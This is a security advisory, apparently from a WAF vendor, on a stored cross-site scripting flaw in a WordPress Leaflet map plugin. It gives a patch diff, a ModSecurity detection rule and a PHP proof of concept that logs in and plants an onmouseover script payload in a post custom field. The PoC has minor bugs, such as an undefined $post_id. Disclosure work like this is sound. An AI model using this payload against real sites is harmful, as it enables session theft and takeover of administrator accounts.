Published : November 26, 2026

CVE-2026-135622: Extensions for Leaflet Map <= 6.2.1 Authenticated (Contributor+) Stored Cross-Site Scripting via 'overview-latlng' Post Custom Field PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 6.2.1
Patched Version 6.3
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-135622: Extensions for Leaflet Map plugin for WordPress versions up to and including 6.2.1 is vulnerable to authenticated stored cross-site scripting (XSS). The flaw exists in the handling of the ‘overview-latlng’ post custom field, which fails to sanitize input and escape output, allowing contributor-level users and above to inject arbitrary JavaScript that executes in the browser of any user viewing the affected page. The CVSS score is 6.4 (medium severity).

The root cause lies in the plugin’s overview-map shortcode processing and its debug output path. In php/overview-map.php, the plugin parses the ‘overview-latlng’ custom field value via shortcode_parse_atts and directly concatenates the ‘lat’ and ‘lng’ attributes into a string without numeric validation. Prior to the patch, the code at lines 407-417 performed only trim() on these values. This string is later output unescaped in the plugin’s debug rendering, which is not protected by WordPress kses filtering because custom fields are stored raw. The patch in php/overview-map.php replaces trim() with filter_var(…, FILTER_VALIDATE_FLOAT) to enforce numeric values, and in php/functions.php wraps table output in wp_kses_post to prevent unfiltered HTML execution.

An attacker with contributor-level access can craft a post containing the ‘overview-latlng’ custom field set to a malicious payload such as lat=1″ onmouseover=”alert(1)” lng=2. When a higher-privileged user (e.g., administrator) previews or views the post, the unescaped output executes the script in their browser. The attack vector requires authentication but no other privileges, and the payload is stored persistently in the database.

The patch addresses the vulnerability by validating the ‘lat’ and ‘lng’ attributes as floats before use, and by sanitizing the entire HTML table output with wp_kses_post. Additionally, the plugin now filters other parameters (e.g., colors) and removes the ‘latlon’ case. This prevents any non-numeric characters from being injected into the output stream and ensures any residual HTML is stripped of dangerous tags and attributes.

If exploited, this vulnerability enables an attacker to steal session cookies, perform actions on behalf of the victim, deface the site, or redirect users to malicious domains. Because the script executes in the context of the victim’s browser, it can lead to full account takeover if an administrator is targeted, potentially resulting in remote code execution via plugin/theme editors.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/extensions-leaflet-map/extensions-leaflet-map.php
+++ b/extensions-leaflet-map/extensions-leaflet-map.php
@@ -3,9 +3,8 @@
  * Plugin Name:       Extensions for Leaflet Map
  * Description:       Extends the WordPress Plugin <a href="https://wordpress.org/plugins/leaflet-map/">Leaflet Map</a> with Leaflet Plugins and other functions.
  * Plugin URI:        https://leafext.de/en/
- * Version:           6.2.1
+ * Version:           6.3
  * Requires PHP:      8.2
- * Requires Plugins:  leaflet-map
  * Author:            hupe13
  * Author URI:        https://leafext.de/en/
  * License:           GPL v2 or later
--- a/extensions-leaflet-map/php/extramarker.php
+++ b/extensions-leaflet-map/php/extramarker.php
@@ -51,7 +51,7 @@
 				'extensions-leaflet-map'
 			),
 			'default' => 'white',
-			'filter'  => '',
+			'filter'  => 'color',
 		),
 		// iconRotate   Rotates the icon with css transformations   0   numeric degrees
 		array(
@@ -82,7 +82,7 @@
 				'extensions-leaflet-map'
 			),
 			'default' => 'red',
-			'filter'  => '',
+			'filter'  => 'color',
 		),
 		// number   Instead of an icon, define a plain text     ''  '1' or 'A', must set icon: 'fa-number'
 		array(
@@ -197,7 +197,7 @@
 		// var_dump( $marker_shortcode );

 		$text    = JShrinkMinifier::minify( $text );
-		$atts1   = leafext_case( array_keys( leafext_extramarker_defaults() ), leafext_clear_params( $atts ) );
+		$atts1   = leafext_case( array_keys( leafext_extramarker_defaults() ), leafext_clear_params_true_false( $atts ) );
 		$options = shortcode_atts( leafext_extramarker_defaults(), $atts1 );

 		// var_dump($options);//wp_die();
@@ -236,22 +236,28 @@
 		if ( $v === '' ) {
 			continue;
 		}
-		$text .= "$k: ";
 		switch ( $filters[ $k ] ) {
 			case 'FILTER_VALIDATE_BOOL':
 				$value = filter_var( $v, FILTER_VALIDATE_BOOL ) ? 'true' : 'false';
+				$text .= "$k: " . $value . ",n";
 				break;
 			case 'FILTER_SANITIZE_NUMBER_INT':
 				$value = filter_var( $v, FILTER_SANITIZE_NUMBER_INT );
+				$text .= "$k: " . $value . ",n";
 				break;
-			case 'latlon':
-				$value = '[' . $v . ']';
+			// case 'latlon':
+				// $text .= "$k: " . '[' . $v . ']' . ",n";
+				// break;
+			case 'color':
+				if ( leafext_valid_color( $v ) !== '' ) {
+					$text .= "$k: " . wp_json_encode( $v ) . ",n";
+				}
 				break;
 			default:
-				$value = wp_json_encode( $v );
+				if ( preg_match( '%^[a-zA-Z0-9:-/._ ]+$%', $v ) ) {
+					$text .= "$k: " . wp_json_encode( $v ) . ",n";
+				}
 		}
-		$text .= $value;
-		$text .= ",n";
 	}
 	// var_dump($text); wp_die();
 	return $text;
--- a/extensions-leaflet-map/php/functions.php
+++ b/extensions-leaflet-map/php/functions.php
@@ -149,7 +149,7 @@
 		}
 		$head = '<div style="width:' . ( ( is_singular() || is_archive() ) ? '100' : '80' ) . '%;">';
 		$head = $head . '<figure class="wp-block-table aligncenter is-style-stripes"><table border=1>';
-		return $head . implode( '', $rows ) . '</table></figure></div>';
+		return $head . wp_kses_post( implode( '', $rows ) ) . '</table></figure></div>';
 	}
 }

--- a/extensions-leaflet-map/php/listmarker.php
+++ b/extensions-leaflet-map/php/listmarker.php
@@ -109,11 +109,11 @@
 		foreach ( $params as $param ) {
 			$defaults[ $param['param'] ] = $param['default'];
 		}
-		$atts1                 = leafext_case( array_keys( $defaults ), leafext_clear_params( $atts ) );
-		$options               = shortcode_atts( $defaults, $atts1 );
-		$options['collapse']   = filter_var( $options['collapse'], FILTER_VALIDATE_BOOL );
-		$options['update']     = filter_var( $options['update'], FILTER_VALIDATE_BOOL );
-		$options['hover']      = filter_var( $options['hover'], FILTER_VALIDATE_BOOL );
+		$atts1               = leafext_case( array_keys( $defaults ), leafext_clear_params( $atts ) );
+		$options             = shortcode_atts( $defaults, $atts1 );
+		$options['collapse'] = filter_var( $options['collapse'], FILTER_VALIDATE_BOOL );
+		$options['update']   = filter_var( $options['update'], FILTER_VALIDATE_BOOL );
+		$options['hover']    = filter_var( $options['hover'], FILTER_VALIDATE_BOOL );
 		if ( leafext_valid_color( $options['background'] ) !== '' && $options['background'] !== $defaults['background'] ) {
 			$text .= '<style>ul.list-markers-ul {background-color: ' . $options['background'] . '}</style>';
 		}
--- a/extensions-leaflet-map/php/multielevation.php
+++ b/extensions-leaflet-map/php/multielevation.php
@@ -365,6 +365,9 @@
 			$multioptions['distanceMarkers']         = false;
 			$multioptions['distanceMarkers_options'] = 'false';
 			$multioptions['sort']                    = false;
+			$multioptions['highlight']               = '#ffff00';
+			$multioptions['flyToBounds']             = true;
+			$multioptions['direction']               = false;
 		}

 		if ( $shortcode === 'multielevation' ) {
@@ -511,6 +514,7 @@
 				echo 'highlight: {color:' . wp_json_encode( $multioptions['highlight'] ) . ',opacity: 1,},' . "n";
 			}
 			echo 'flyToBounds:' . wp_json_encode( (bool) $multioptions['flyToBounds'] ) . ',' . "n";
+			echo 'filename:' . wp_json_encode( (bool) $multioptions['filename'] ) . ',' . "n";

 			// default:
 			// distanceMarkers: true,
--- a/extensions-leaflet-map/php/overview-map.php
+++ b/extensions-leaflet-map/php/overview-map.php
@@ -407,12 +407,20 @@
 			$latlng_atts = shortcode_parse_atts( $leaflet_latlng );
 			// var_dump($latlng_atts);
 			if ( isset( $latlng_atts['lat'] ) && isset( $latlng_atts['lng'] ) ) {
-				$leaflet_latlng = 'lat=' . trim( $latlng_atts['lat'], ', ' ) . ' lng=' . trim( $latlng_atts['lng'], ', ' );
+				$leaflet_latlng =
+				'lat=' . filter_var( str_replace( ',', '.', trim( $latlng_atts['lat'], ', ' ) ), FILTER_VALIDATE_FLOAT ) .
+				' lng=' . filter_var( str_replace( ',', '.', trim( $latlng_atts['lng'], ', ' ) ), FILTER_VALIDATE_FLOAT );
 			} else {
 				$leaflet_latlng = '*';
 			}
 		} else {
-			$leaflet_latlng = 'lat=' . trim( $latlng[0], ', ' ) . ' lng=' . trim( $latlng[1], ', ' );
+			// var_dump( $latlng );
+			$leaflet_latlng =
+			'lat=' . filter_var( str_replace( ',', '.', trim( $latlng[0], ', ' ) ), FILTER_VALIDATE_FLOAT ) .
+			' lng=' . filter_var( str_replace( ',', '.', trim( $latlng[1], ', ' ) ), FILTER_VALIDATE_FLOAT );
+		}
+		if ( $leaflet_latlng === 'lat= lng=' ) {
+			$leaflet_latlng = '*';
 		}
 	} else {
 		$leaflet_latlng = '*';

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-135622
SecRule REQUEST_URI "@streq /wp-admin/post.php" 
  "id:2026135622,phase:2,deny,status:403,chain,msg:'CVE-2026-135622 Stored XSS via overview-latlng',severity:'CRITICAL',tag:'CVE-2026-135622'"
  SecRule ARGS_POST:action "@streq editpost" "chain"
    SecRule ARGS_POST:meta[overview-latlng] "@rx (?:onw+s*=|javascript:)" "t:urlDecodeUni,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-135622 - Extensions for Leaflet Map <= 6.2.1 - Authenticated (Contributor+) Stored XSS via 'overview-latlng' Post Custom Field

// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$username = 'contributor';          // Contributor-level credentials
$password = 'password';

// Initialize cURL session
$ch = curl_init();

// Step 1: Log in to WordPress
$login_url = $target_url . '/wp-login.php';
$post_fields = 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In&redirect_to=' . urlencode($target_url . '/wp-admin/') . '&testcookie=1';
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Create a new post with malicious custom field
$post_url = $target_url . '/wp-admin/post-new.php';
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Extract nonce from the post editor page (simplified; in real scenario parse the HTML)
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';

// Prepare post data with malicious 'overview-latlng' custom field
$post_data = array(
    'action' => 'editpost',
    'post_ID' => '0', // new post
    'post_type' => 'post',
    'post_title' => 'Malicious Post',
    'content' => 'This is a test post.',
    'meta' => array(
        'overview-latlng' => 'lat=1" onmouseover="alert(document.cookie)" lng=2'
    ),
    '_wpnonce' => $nonce,
    'post_status' => 'publish'
);

// Send post creation request
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);

// Step 3: Verify stored payload (optional)
// The payload will execute when an admin views the post.

curl_close($ch);
echo "Exploit completed. The malicious post has been created with ID: " . $post_id . "n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.